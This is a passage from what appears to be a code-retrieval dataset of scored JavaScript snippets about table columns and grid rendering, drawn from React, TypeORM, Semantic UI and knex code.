\"Key3\": \"wordpress.com\"\n },\n {\n \"Key0\": \"Minor\",\n \"Key1\": 43,\n \"Key2\": \"Mrs\",\n \"Key3\": \"senate.gov\"\n },\n {\n \"Key0\": \"Jody\",\n \"Key1\": 44,\n \"Key2\": \"Mrs\",\n \"Key3\": \"cbslocal.com\"\n },\n {\n \"Key0\": \"Shanda\",\n \"Key1\": 45,\n \"Key2\": \"Mr\",\n \"Key3\": \"indiatimes.com\"\n },\n {\n \"Key0\": \"Sheelagh\",\n \"Key1\": 46,\n \"Key2\": \"Mrs\",\n \"Key3\": \"acquirethisname.com\"\n },\n {\n \"Key0\": \"Ester\",\n \"Key1\": 47,\n \"Key2\": \"Ms\",\n \"Key3\": \"unicef.org\"\n },\n {\n \"Key0\": \"Anita\",\n \"Key1\": 48,\n \"Key2\": \"Rev\",\n \"Key3\": \"amazon.co.jp\"\n },\n {\n \"Key0\": \"Aurelea\",\n \"Key1\": 49,\n \"Key2\": \"Mr\",\n \"Key3\": \"pinterest.com\"\n },\n {\n \"Key0\": \"Aldis\",\n \"Key1\": 50,\n \"Key2\": \"Ms\",\n \"Key3\": \"instagram.com\"\n }\n]), []);\n\n \n return (\n <Table columns={columns} data={data} />\n );\n}", "title": "" }, { "docid": "6535b566a8e2576ca7f33d38553f8017", "score": "0.5556219", "text": "column(col) {\n return col * 2;\n }", "title": "" }, { "docid": "f33d1e07e2c560a6f103218aed86ee9b", "score": "0.5551539", "text": "constructor(data, header)\r\n {\r\n this.data = data;\r\n this.header = header; // column title\r\n }", "title": "" }, { "docid": "b36b4cbad3ae0c46c38025563bfd3ae1", "score": "0.5533743", "text": "function header(props){\n return(\n <th scope=\"col\">{props.text}</th>\n )\n}", "title": "" }, { "docid": "616576848280be584b36025c16f0ec5b", "score": "0.5533598", "text": "visitShowColumns(ctx) {\n\t return this.visitChildren(ctx);\n\t}", "title": "" }, { "docid": "1a2e684940b5b9e9b071331b8bfa156a", "score": "0.55284345", "text": "visitColumnDefinition(ctx) {\n\t return this.visitChildren(ctx);\n\t}", "title": "" }, { "docid": "3f971472b707c74c12b24137ee2b2fdb", "score": "0.55239284", "text": "getColumns(appIds, firstColumn, fieldName){\n var cols = [{\n Header: () => <h4 className=\"ui header\"> {firstColumn}</h4>,\n accessor: fieldName,\n filterable: true,\n }]\n appIds.forEach(function(col, j){\n cols.push({\n Header: () => <h4 className=\"ui header small\">{col.app_id} </h4>,\n accessor: 'counts.'+col.app_id\n })\n });\n return cols;\n }", "title": "" }, { "docid": "ff5c76afe7873d129fd863243c04e765", "score": "0.552216", "text": "function Column(typeOrOptions, options) {\n return function (object, propertyName) {\n // normalize parameters\n var type;\n if (typeof typeOrOptions === \"string\" || typeOrOptions instanceof Function) {\n type = typeOrOptions;\n }\n else if (typeOrOptions) {\n options = typeOrOptions;\n type = typeOrOptions.type;\n }\n if (!options)\n options = {};\n // if type is not given explicitly then try to guess it\n var reflectMetadataType = Reflect && Reflect.getMetadata ? Reflect.getMetadata(\"design:type\", object, propertyName) : undefined;\n if (!type && reflectMetadataType) // if type is not given explicitly then try to guess it\n type = reflectMetadataType;\n // check if there is no type in column options then set type from first function argument, or guessed one\n if (!options.type && type)\n options.type = type;\n // specify HSTORE type if column is HSTORE\n if (options.type === \"hstore\" && !options.hstoreType)\n options.hstoreType = reflectMetadataType === Object ? \"object\" : \"string\";\n if (typeOrOptions instanceof Function) { // register an embedded\n Object(___WEBPACK_IMPORTED_MODULE_0__[\"getMetadataArgsStorage\"])().embeddeds.push({\n target: object.constructor,\n propertyName: propertyName,\n isArray: reflectMetadataType === Array || options.array === true,\n prefix: options.prefix !== undefined ? options.prefix : undefined,\n type: typeOrOptions\n });\n }\n else { // register a regular column\n // if we still don't have a type then we need to give error to user that type is required\n if (!options.type)\n throw new _error_ColumnTypeUndefinedError__WEBPACK_IMPORTED_MODULE_1__[\"ColumnTypeUndefinedError\"](object, propertyName);\n // create unique\n if (options.unique === true)\n Object(___WEBPACK_IMPORTED_MODULE_0__[\"getMetadataArgsStorage\"])().uniques.push({ target: object.constructor, columns: [propertyName] });\n Object(___WEBPACK_IMPORTED_MODULE_0__[\"getMetadataArgsStorage\"])().columns.push({\n target: object.constructor,\n propertyName: propertyName,\n mode: \"regular\",\n options: options\n });\n if (options.generated) {\n Object(___WEBPACK_IMPORTED_MODULE_0__[\"getMetadataArgsStorage\"])().generations.push({\n target: object.constructor,\n propertyName: propertyName,\n strategy: typeof options.generated === \"string\" ? options.generated : \"increment\"\n });\n }\n }\n };\n}", "title": "" }, { "docid": "8345a6a30d7f8f93fafe9c0c6a3f2b60", "score": "0.5518175", "text": "copyWithColumnHeaders() {\n this.copy('with-column-headers');\n }", "title": "" }, { "docid": "420a23e162bbf47c1758a92ca1d3c56e", "score": "0.54997134", "text": "function col(state, prop) {\n var className = (state.sort === prop) ? 'is-sorted' : '';\n return {\n className: className\n };\n}", "title": "" }, { "docid": "77381d58e1db65637f6c35388b25d984", "score": "0.54891783", "text": "get tableHeaderProps() {\n const { children, ...props } = validProps(this);\n\n if (this.props.sortable) props.onClick = this.emitSortEvent;\n return props;\n }", "title": "" }, { "docid": "2e6c0f4345411abe604dfd7b683bea70", "score": "0.54880595", "text": "function _defineColumnsAttr() {\n _columnDefs = {\n \"categories\": {\n\tattr: {\n\t all: {\n\t sortable: true,\n\t }\n\t},\n\tcolumns: [],\n },\n \"products\": {\n\tattr: {\n\t all: {},\n\t},\n\tcolumns: [\n\t \"prod_id\",\n\t \"title\",\n\t \"actor\",\n\t \"price\",\n\t \"category\",\n\t]\n },\n \"customers\": {\n\tattr: {\n\t \"customerid\": {\n\t label: \"Customer ID\",\n\t }\n\t},\n\tcolumns: [\n\t \"customerid\",\n\t \"firstname\",\n\t \"lastname\",\n\t \"gender\",\n\t \"age\",\n\t \"phone\",\n\t \"country\",\n\t \"region\",\n\t \"state\",\n\t \"city\",\n\t \"address1\",\n\t \"address2\",\n\t \"zip\",\n\t]\n }\n };\n \n \n \n }", "title": "" }, { "docid": "73b70c915c0430f5f70dc923cfa5ac4e", "score": "0.5485841", "text": "function hasColumnMeta() {\n return typeof heatMap.xMeta() === 'function'\n }", "title": "" }, { "docid": "96f863dbbc6880e6b61752375b3a3102", "score": "0.5485487", "text": "getTableHeader() {\n const numXLabels = this.state.xAxis.length;\n const numYLabels = this.state.yAxis.length;\n const dataFields = this.state.dataFields;\n const { colSpans, colFields, dataHeaderInX, dataHeaderInY } = this.cache;\n let auxTableHeader = '';\n let dataFieldsHeader = '';\n if (_.gt(numYLabels, 0)) {\n if (_.gt(numXLabels, 0)) {\n auxTableHeader = <th colSpan=\"1\" />;\n }\n else if (dataHeaderInY) {\n auxTableHeader = <th colSpan=\"2\" />;\n }\n }\n if (dataHeaderInX) {\n if (_.gt(colFields.length, 0)) {\n dataFieldsHeader = _.range(_.last(colFields).length * dataFields.length).map(dataHeaderIndex => {\n const dataField = dataFields[dataHeaderIndex % dataFields.length];\n return (\n <th key={dataHeaderIndex}>\n {dataField.name}\n </th>\n );\n });\n if (_.eq(numYLabels, 0)) {\n dataFieldsHeader.splice(0, 0, <th />);\n }\n }\n else {\n dataFieldsHeader = dataFields.map((dataField, key) => (\n <th key={key}>\n {dataField.name}\n </th>\n ));\n }\n }\n return (\n <thead>\n {_.range(numXLabels).map(fieldIndex => {\n const curField = _.range(colFields[fieldIndex].length).map(itemIndex => {\n let colSpan = colSpans[fieldIndex][itemIndex];\n const rowSpan = (_.eq(fieldIndex, colFields.length - 1) &&\n !dataHeaderInX) ? 2 : 1;\n const colValue = colFields[fieldIndex][itemIndex];\n if (dataHeaderInX) {\n colSpan *= dataFields.length;\n }\n return (\n <SelectableCell\n key={itemIndex}\n colSpan={colSpan}\n rowSpan={rowSpan}\n tag=\"th\"\n innerText={colValue}\n />);\n });\n const chevron = (\n <ToggleableChevron\n axis=\"x\"\n field={this.state.xAxis[fieldIndex]}\n invertOrder={this.invertOrder}\n />\n );\n return (\n <tr key={fieldIndex}>\n {(_.eq(fieldIndex, 0) && _.gt(numYLabels, 0)) ?\n <th colSpan={numYLabels} rowSpan={numXLabels} /> : null }\n <Card\n key={fieldIndex}\n index={fieldIndex}\n text={this.state.xAxis[fieldIndex].name}\n moveCard={this.moveCard}\n col={0}\n tag=\"th\"\n chevron={chevron}\n />\n {curField}\n </tr>\n );\n })}\n <tr>\n {this.state.yAxis.map((field, fieldIndex) => {\n const chevron = (\n <ToggleableChevron\n axis=\"y\"\n field={field}\n invertOrder={this.invertOrder}\n />\n );\n return (\n <Card\n key={fieldIndex}\n index={fieldIndex}\n text={field.name}\n moveCard={this.moveCard}\n col={1}\n tag=\"th\"\n chevron={chevron}\n />\n );\n })}\n {auxTableHeader}\n {dataFieldsHeader}\n </tr>\n </thead>\n );\n }", "title": "" }, { "docid": "5a6200d0289891c7d46fd6126f523eb1", "score": "0.5483794", "text": "function GridColumn(props) {\n\t var children = props.children,\n\t className = props.className,\n\t computer = props.computer,\n\t color = props.color,\n\t floated = props.floated,\n\t largeScreen = props.largeScreen,\n\t mobile = props.mobile,\n\t only = props.only,\n\t stretched = props.stretched,\n\t tablet = props.tablet,\n\t textAlign = props.textAlign,\n\t verticalAlign = props.verticalAlign,\n\t widescreen = props.widescreen,\n\t width = props.width;\n\t\n\t\n\t var classes = (0, _classnames2.default)(color, (0, _lib.useKeyOnly)(stretched, 'stretched'), (0, _lib.useTextAlignProp)(textAlign), (0, _lib.useValueAndKey)(floated, 'floated'), (0, _lib.useValueAndKey)(only, 'only'), (0, _lib.useVerticalAlignProp)(verticalAlign), (0, _lib.useWidthProp)(computer, 'wide computer'), (0, _lib.useWidthProp)(largeScreen, 'wide large screen'), (0, _lib.useWidthProp)(mobile, 'wide mobile'), (0, _lib.useWidthProp)(tablet, 'wide tablet'), (0, _lib.useWidthProp)(widescreen, 'wide widescreen'), (0, _lib.useWidthProp)(width, 'wide'), 'column', className);\n\t var rest = (0, _lib.getUnhandledProps)(GridColumn, props);\n\t var ElementType = (0, _lib.getElementType)(GridColumn, props);\n\t\n\t return _react2.default.createElement(\n\t ElementType,\n\t _extends({}, rest, { className: classes }),\n\t children\n\t );\n\t}", "title": "" }, { "docid": "96c25d3f1f3cbc0f2885abd6b4051cfb", "score": "0.54772574", "text": "function GridColumn(props) {\n\t var children = props.children,\n\t className = props.className,\n\t computer = props.computer,\n\t color = props.color,\n\t floated = props.floated,\n\t largeScreen = props.largeScreen,\n\t mobile = props.mobile,\n\t only = props.only,\n\t stretched = props.stretched,\n\t tablet = props.tablet,\n\t textAlign = props.textAlign,\n\t verticalAlign = props.verticalAlign,\n\t widescreen = props.widescreen,\n\t width = props.width;\n\n\n\t var classes = (0, _classnames2.default)(color, (0, _lib.useKeyOnly)(stretched, 'stretched'), (0, _lib.useOnlyProp)(only, 'only'), (0, _lib.useTextAlignProp)(textAlign), (0, _lib.useValueAndKey)(floated, 'floated'), (0, _lib.useVerticalAlignProp)(verticalAlign), (0, _lib.useWidthProp)(computer, 'wide computer'), (0, _lib.useWidthProp)(largeScreen, 'wide large screen'), (0, _lib.useWidthProp)(mobile, 'wide mobile'), (0, _lib.useWidthProp)(tablet, 'wide tablet'), (0, _lib.useWidthProp)(widescreen, 'wide widescreen'), (0, _lib.useWidthProp)(width, 'wide'), 'column', className);\n\t var rest = (0, _lib.getUnhandledProps)(GridColumn, props);\n\t var ElementType = (0, _lib.getElementType)(GridColumn, props);\n\n\t return _react2.default.createElement(\n\t ElementType,\n\t (0, _extends3.default)({}, rest, { className: classes }),\n\t children\n\t );\n\t}", "title": "" }, { "docid": "4da44c0aa80a2c6c95ebee9cc7af1afe", "score": "0.54724354", "text": "function DataTable(props) {\n const { classes, outputArr } = props;\n\n function cellRenderer({ columnIndex, key, rowIndex, style }) {\n return (\n <div key={key} style={style}>\n {outputArr[rowIndex][columnIndex]}\n </div>\n );\n }\n const fixWidth = {};\n for (let i = 0; i < 40; i++) {\n fixWidth[i] = 180;\n }\n const fixedWidthColumnsMap = {\n 'Merge regular time': { 0: 200, 9: 180, 10: 170 },\n 'Output statistics1': {},\n 'Output statistics2': fixWidth\n };\n const getColumnWidthHelper = getColumnWidth => ({ index }) => {\n return fixedWidthColumnsMap[props.title].hasOwnProperty(index)\n ? fixedWidthColumnsMap[props.title][index]\n : getColumnWidth({ index });\n };\n\n return (\n <div className={classes.wrapper} style={{ flex: '1 1 auto' }}>\n <AutoSizer>\n {({ height, width }) => (\n <ColumnSizer\n columnMaxWidth={500}\n columnMinWidth={70}\n columnCount={outputArr[0].length}\n width={width}\n >\n {({ adjustedWidth, getColumnWidth, registerChild }) => (\n <Grid\n ref={registerChild}\n cellRenderer={cellRenderer}\n columnCount={outputArr[0].length}\n columnWidth={getColumnWidthHelper(getColumnWidth)}\n height={height}\n rowCount={outputArr.length}\n rowHeight={30}\n width={adjustedWidth}\n />\n )}\n </ColumnSizer>\n )}\n </AutoSizer>\n </div>\n );\n}", "title": "" }, { "docid": "1941b3ec5e0504e7af7fd89fa1d83c91", "score": "0.54466385", "text": "get columnsToDisplay() {\n return this.columns.filter((c) => c.isHidden !== true).map((c) => c.binding);\n }", "title": "" }, { "docid": "b45ea3d381b16ffdc4e4c1f2ec64763b", "score": "0.5444624", "text": "groupedColumns() {\n return this._cache('groupedColumns', () => {\n const _groupColumns = (columns, currentRow = 0, parentColumn = {}, rows = []) => {\n // track how many rows we got\n rows[currentRow] = rows[currentRow] || [];\n const grouped = [];\n const setRowSpan = column => {\n const rowSpan = rows.length - currentRow;\n if (\n column &&\n !column.children && // parent columns are supposed to be one row\n rowSpan > 1 &&\n (!column.rowSpan || column.rowSpan < rowSpan)\n ) {\n column.rowSpan = rowSpan;\n }\n };\n columns.forEach((column, index) => {\n const newColumn = { ...column };\n rows[currentRow].push(newColumn);\n parentColumn.colSpan = parentColumn.colSpan || 0;\n if (newColumn.children && newColumn.children.length > 0) {\n newColumn.children = _groupColumns(newColumn.children, currentRow + 1, newColumn, rows);\n parentColumn.colSpan += newColumn.colSpan;\n } else {\n parentColumn.colSpan++;\n }\n // update rowspan to all same row columns\n for (let i = 0; i < rows[currentRow].length - 1; ++i) {\n setRowSpan(rows[currentRow][i]);\n }\n // last column, update rowspan immediately\n if (index + 1 === columns.length) {\n setRowSpan(newColumn);\n }\n grouped.push(newColumn);\n });\n return grouped;\n };\n return _groupColumns(this.columns);\n });\n }", "title": "" }, { "docid": "61efc38c42e026e15a88c691ae03f7f9", "score": "0.5437408", "text": "columnInfo() {\n const column = this.single.columnInfo;\n let schema = this.single.schema;\n\n // The user may have specified a custom wrapIdentifier function in the config. We\n // need to run the identifiers through that function, but not format them as\n // identifiers otherwise.\n const table = this.client.customWrapIdentifier(this.single.table, identity);\n\n if (schema) {\n schema = this.client.customWrapIdentifier(schema, identity);\n }\n\n let sql =\n 'select * from information_schema.columns where table_name = ? and table_catalog = ?';\n const bindings = [\n table.toLowerCase(),\n this.client.database().toLowerCase(),\n ];\n\n if (schema) {\n sql += ' and table_schema = ?';\n bindings.push(schema);\n } else {\n sql += ' and table_schema = current_schema()';\n }\n\n return {\n sql,\n bindings,\n output(resp) {\n const out = reduce(\n resp.rows,\n function(columns, val) {\n columns[val.column_name] = {\n type: val.data_type,\n maxLength: val.character_maximum_length,\n nullable: val.is_nullable === 'YES',\n defaultValue: val.column_default,\n };\n return columns;\n },\n {}\n );\n return (column && out[column]) || out;\n },\n };\n }", "title": "" }, { "docid": "4544b44b631f4378e3b4530d575d43ee", "score": "0.54247236", "text": "function arrowColumn(data, nullCount = 0) {\n const column = {\n length: data.length,\n get: row => data[row],\n toArray: () => data,\n isValid: row => data[row] != null,\n [Symbol.iterator]: () => data[Symbol.iterator](),\n nullCount,\n _data: data\n };\n\n column.chunks = [ column ];\n return column;\n}", "title": "" }, { "docid": "a05c11a0324e0b1dc71fc9dd18889940", "score": "0.54173315", "text": "function useViewportColumns({ rawColumns, columnWidths, viewportWidth, scrollLeft, defaultColumnOptions, rawGroupBy, rowGrouper }) {\r\n var _a, _b, _c, _d;\r\n const minColumnWidth = (_a = defaultColumnOptions === null || defaultColumnOptions === void 0 ? void 0 : defaultColumnOptions.minWidth) !== null && _a !== void 0 ? _a : 80;\r\n const defaultFormatter = (_b = defaultColumnOptions === null || defaultColumnOptions === void 0 ? void 0 : defaultColumnOptions.formatter) !== null && _b !== void 0 ? _b : ValueFormatter;\r\n const defaultSortable = (_c = defaultColumnOptions === null || defaultColumnOptions === void 0 ? void 0 : defaultColumnOptions.sortable) !== null && _c !== void 0 ? _c : false;\r\n const defaultResizable = (_d = defaultColumnOptions === null || defaultColumnOptions === void 0 ? void 0 : defaultColumnOptions.resizable) !== null && _d !== void 0 ? _d : false;\r\n const { columns, lastFrozenColumnIndex, totalColumnWidth, totalFrozenColumnWidth, groupBy } = Object(react[\"useMemo\"])(() => {\r\n return getColumnMetrics({\r\n rawColumns,\r\n minColumnWidth,\r\n viewportWidth,\r\n columnWidths,\r\n defaultSortable,\r\n defaultResizable,\r\n defaultFormatter,\r\n rawGroupBy: rowGrouper ? rawGroupBy : undefined\r\n });\r\n }, [columnWidths, defaultFormatter, defaultResizable, defaultSortable, minColumnWidth, rawColumns, rawGroupBy, rowGrouper, viewportWidth]);\r\n const [colOverscanStartIdx, colOverscanEndIdx] = Object(react[\"useMemo\"])(() => {\r\n // get the viewport's left side and right side positions for non-frozen columns\r\n const viewportLeft = scrollLeft + totalFrozenColumnWidth;\r\n const viewportRight = scrollLeft + viewportWidth;\r\n // get first and last non-frozen column indexes\r\n const lastColIdx = columns.length - 1;\r\n const firstUnfrozenColumnIdx = Math.min(lastFrozenColumnIndex + 1, lastColIdx);\r\n // skip rendering non-frozen columns if the frozen columns cover the entire viewport\r\n if (viewportLeft >= viewportRight) {\r\n return [firstUnfrozenColumnIdx, firstUnfrozenColumnIdx];\r\n }\r\n // get the first visible non-frozen column index\r\n let colVisibleStartIdx = firstUnfrozenColumnIdx;\r\n while (colVisibleStartIdx < lastColIdx) {\r\n const { left, width } = columns[colVisibleStartIdx];\r\n // if the right side of the columnn is beyond the left side of the available viewport,\r\n // then it is the first column that's at least partially visible\r\n if (left + width > viewportLeft) {\r\n break;\r\n }\r\n colVisibleStartIdx++;\r\n }\r\n // get the last visible non-frozen column index\r\n let colVisibleEndIdx = colVisibleStartIdx;\r\n while (colVisibleEndIdx < lastColIdx) {\r\n const { left, width } = columns[colVisibleEndIdx];\r\n // if the right side of the column is beyond or equal to the right side of the available viewport,\r\n // then it the last column that's at least partially visible, as the previous column's right side is not beyond the viewport.\r\n if (left + width >= viewportRight) {\r\n break;\r\n }\r\n colVisibleEndIdx++;\r\n }\r\n const colOverscanStartIdx = Math.max(firstUnfrozenColumnIdx, colVisibleStartIdx - 1);\r\n const colOverscanEndIdx = Math.min(lastColIdx, colVisibleEndIdx + 1);\r\n return [colOverscanStartIdx, colOverscanEndIdx];\r\n }, [columns, lastFrozenColumnIndex, scrollLeft, totalFrozenColumnWidth, viewportWidth]);\r\n const viewportColumns = Object(react[\"useMemo\"])(() => {\r\n const viewportColumns = [];\r\n for (let colIdx = 0; colIdx <= colOverscanEndIdx; colIdx++) {\r\n const column = columns[colIdx];\r\n if (colIdx < colOverscanStartIdx && !column.frozen)\r\n continue;\r\n viewportColumns.push(column);\r\n }\r\n return viewportColumns;\r\n }, [colOverscanEndIdx, colOverscanStartIdx, columns]);\r\n return { columns, viewportColumns, totalColumnWidth, lastFrozenColumnIndex, totalFrozenColumnWidth, groupBy };\r\n}", "title": "" }, { "docid": "0cedf3c70226d3caddb99e8766ac9f05", "score": "0.5414997", "text": "function getColumns() {\n return columnizerHelper.getColumns($$(componentIds.columns));\n }", "title": "" }, { "docid": "c6203afd74d21996bde5844a1df9c009", "score": "0.541198", "text": "function generateColumns() {\n const column = columnArray.map(() => {\n year++;\n return (\n <Year\n key={year}\n year={year}\n currentMonth={currentMonth}\n currentYear={currentYear}\n styles={styles}\n onSelectYear={onSelectYear}\n minDate={minDate}\n maxDate={maxDate}\n textStyle={textStyle}\n selectedYearStyle={selectedYearStyle}\n />\n );\n });\n return column;\n }", "title": "" }, { "docid": "a2c60c9358d87314f097f3bb2d1d97c1", "score": "0.53902274", "text": "static createColumn (type, property, width, name, dataType = undefined, format = undefined, onClick = undefined) {\n return {\n type,\n dataType,\n property,\n format,\n onClick,\n uniqueId: property,\n defaultWidth: width,\n header: { text: name, tooltip: `Sort by ${name}`},\n };\n }", "title": "" }, { "docid": "fab91f52e17e8e97b30777c07a4f03b5", "score": "0.53879374", "text": "get columnNames() {\n return this.columns.map(column => column.name);\n }", "title": "" }, { "docid": "9fba4c11c4b7af53660fd9024251f372", "score": "0.5385544", "text": "function Column() {\n this.field = undefined;\n this.type = undefined;\n this.allowNull = true;\n this.key = undefined;\n this.defVal = undefined;\n this.defEscape = '';\n this.escape = false;\n this.isAI = false;\n}", "title": "" }, { "docid": "2fdce017f2d22c54b241544372b23b66", "score": "0.53749883", "text": "function initMultiColumns() {\n\n}", "title": "" }, { "docid": "51fb0cdafb6780fd53a1eb0947609610", "score": "0.5364853", "text": "renderRow(cols,line){\n var row = [];\n let unique = 0;\n for (let i=0; i<cols;i++){\n unique = (line*cols + i);\n row.push(<TableCell\n key={unique}\n handleCell={this.handleCell}\n cellId={unique}\n isToggleOn={this.state.cells[unique]}\n onRef = { ref => (this.child =ref)}\n ref = {unique}\n />);\n }\n row.push(<span className=\"rowHead\" key={ unique+unique}> {this.props.rows[line]} </span>);\n return row;\n }", "title": "" }, { "docid": "01dfe97273d842aa23b6152dd831d94b", "score": "0.5361573", "text": "sort(columns, orders = null) { grok_Grid_Sort(this.d, columns.map((c) => c instanceof Column ? c.d : c), orders); }", "title": "" }, { "docid": "2a51b24eac0fc9f10fbdb15cfb2de38d", "score": "0.5361435", "text": "constructor () {\n let columndefs = [\n {\n targets: [2],\n className: \"text-center\",\n },\n {\n targets: [-1],\n className: \"text-right\"\n }\n ]\n let options = Object.assign({}, DEFAULT_OPTIONS)\n options.order = [[2, \"desc\"]]\n super(\"questions_table\", columndefs, options)\n }", "title": "" }, { "docid": "66ee911e6f20d318d0b3183e1aab71dc", "score": "0.5343982", "text": "columnize(target) {\n const columns = typeof target === 'string' ? [target] : target\n let str = '', i = -1;\n while (++i < columns.length) {\n if (i > 0) str += ', '\n str += this.wrap(columns[i])\n }\n return str\n }", "title": "" }, { "docid": "705d59828e121f04cd0ef107f540a4da", "score": "0.5339809", "text": "render() {\n const NullComponent = () => null;\n\n return (\n <div id=\"table\">\n <ReactTable\n loading={this.props.loading}\n LoadingComponent={CustomTableLoader}\n pageSize={this.props.pageSize}\n showPageSizeOptions={false}\n defaultSorted={[\n {\n id: \"totalIncome\",\n desc: true\n }\n ]}\n getTrProps={() => {\n return {};\n }}\n NoDataComponent={NullComponent}\n getProps={(state, table) => {\n return { style: { height: \"100vh\" } };\n }}\n getTrProps={(state, rowInfo) => {\n if (rowInfo && rowInfo.row) {\n return {\n onClick: e => {\n\n \n this.handleClick(rowInfo.original);\n \n\n \n },\n style: {\n cursor: \"pointer\"\n }\n };\n } else {\n return {};\n }\n }}\n data={this.props.data}\n columns={this.props.columns}\n ></ReactTable>\n </div>\n );\n }", "title": "" }, { "docid": "576c8250395a00148b3bca5a88e9c25c", "score": "0.5335948", "text": "newRow(rowCount) {\n const { columns } = this.props;\n return _.map(columns, column =>\n _.extend({}, column, {\n shift: {},\n rowNumber: rowCount,\n })\n );\n }", "title": "" }, { "docid": "ff40b0d8aba9b3993e907cfc6664d04e", "score": "0.53337806", "text": "rows() {\n return transform(deepClone(this.columns));\n }", "title": "" }, { "docid": "83b3922b8ad961dde767ff4fe03c8c71", "score": "0.5313504", "text": "static get properties() {\n return {\n ...super.properties,\n columns: {\n type: Number,\n attribute: \"columns\",\n },\n rows: {\n type: Number,\n attribute: \"rows\",\n },\n disableAutogrow: {\n type: Boolean,\n attribute: \"disable-autogrow\",\n reflect: true,\n },\n };\n }", "title": "" }, { "docid": "ad436d8b8f842b68499bb04c46daa5fc", "score": "0.5303439", "text": "function TestTable() {\n const data = React.useMemo(\n () => [\n {\n name: 'Matt',\n item: 'apple',\n amount: '£1.50'\n },\n {\n name: 'Steve',\n item: 'water',\n amount: '£2.75'\n },\n {\n name: 'Jane',\n item: 'burger',\n amount: '£3.50'\n },\n {\n name: 'Ricky',\n item: 'sandwich',\n amount: '£4.50'\n },\n {\n name: 'Karl',\n item: 'coke',\n amount: '£1.75'\n },\n {\n name: 'Jane',\n item: 'water',\n amount: '£2.75'\n },\n ],\n []\n )\n\n const columns = React.useMemo(\n () => [\n {\n Header: 'Customer',\n accessor: 'name', \n },\n {\n Header: 'Item',\n accessor: 'item',\n },\n {\n Header: 'Order amount',\n accessor: 'amount',\n },\n ],\n []\n )\n\n const {\n getTableProps,\n getTableBodyProps,\n headerGroups,\n rows,\n prepareRow,\n } = useTable({ columns, data })\n\n \n return (\n <div className=\"Main-Content\">\n <h1 className='Main-Title'>React-table test</h1>\n <table {...getTableProps()}>\n <thead>\n {headerGroups.map(headerGroup => (\n <tr {...headerGroup.getHeaderGroupProps()}>\n {headerGroup.headers.map(column => (\n <th\n {...column.getHeaderProps()}\n >\n {column.render('Header')}\n </th>\n ))}\n </tr>\n ))}\n </thead>\n\n <tbody {...getTableBodyProps()}>\n {rows.map(row => {\n prepareRow(row)\n return (\n <tr {...row.getRowProps()}>\n {row.cells.map(cell => {\n return (\n <td\n {...cell.getCellProps()}\n >\n {cell.render('Cell')}\n </td>\n )\n })}\n </tr>\n )\n })}\n </tbody>\n </table>\n </div>\n )\n }", "title": "" }, { "docid": "66f925881bb4cc9e15d1235db13cf40a", "score": "0.5300503", "text": "function Table(props) {\n var attached = props.attached,\n basic = props.basic,\n celled = props.celled,\n children = props.children,\n className = props.className,\n collapsing = props.collapsing,\n color = props.color,\n columns = props.columns,\n compact = props.compact,\n definition = props.definition,\n fixed = props.fixed,\n footerRow = props.footerRow,\n headerRow = props.headerRow,\n inverted = props.inverted,\n padded = props.padded,\n renderBodyRow = props.renderBodyRow,\n selectable = props.selectable,\n singleLine = props.singleLine,\n size = props.size,\n sortable = props.sortable,\n stackable = props.stackable,\n striped = props.striped,\n structured = props.structured,\n tableData = props.tableData,\n textAlign = props.textAlign,\n unstackable = props.unstackable,\n verticalAlign = props.verticalAlign;\n\n\n var classes = __WEBPACK_IMPORTED_MODULE_4_classnames___default()('ui', color, size, __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(celled, 'celled'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(collapsing, 'collapsing'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(definition, 'definition'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(fixed, 'fixed'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(inverted, 'inverted'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(selectable, 'selectable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(singleLine, 'single line'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(sortable, 'sortable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(stackable, 'stackable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(striped, 'striped'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(structured, 'structured'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"a\" /* useKeyOnly */])(unstackable, 'unstackable'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(attached, 'attached'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(basic, 'basic'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(compact, 'compact'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"j\" /* useKeyOrValueAndKey */])(padded, 'padded'), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"x\" /* useTextAlignProp */])(textAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"k\" /* useVerticalAlignProp */])(verticalAlign), __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"f\" /* useWidthProp */])(columns, 'column'), 'table', className);\n var rest = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"b\" /* getUnhandledProps */])(Table, props);\n var ElementType = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_7__lib__[\"c\" /* getElementType */])(Table, props);\n\n if (!__WEBPACK_IMPORTED_MODULE_3_lodash_isNil___default()(children)) {\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n children\n );\n }\n\n return __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n ElementType,\n __WEBPACK_IMPORTED_MODULE_0_babel_runtime_helpers_extends___default()({}, rest, { className: classes }),\n headerRow && __WEBPACK_IMPORTED_MODULE_6_react___default.a.createElement(\n 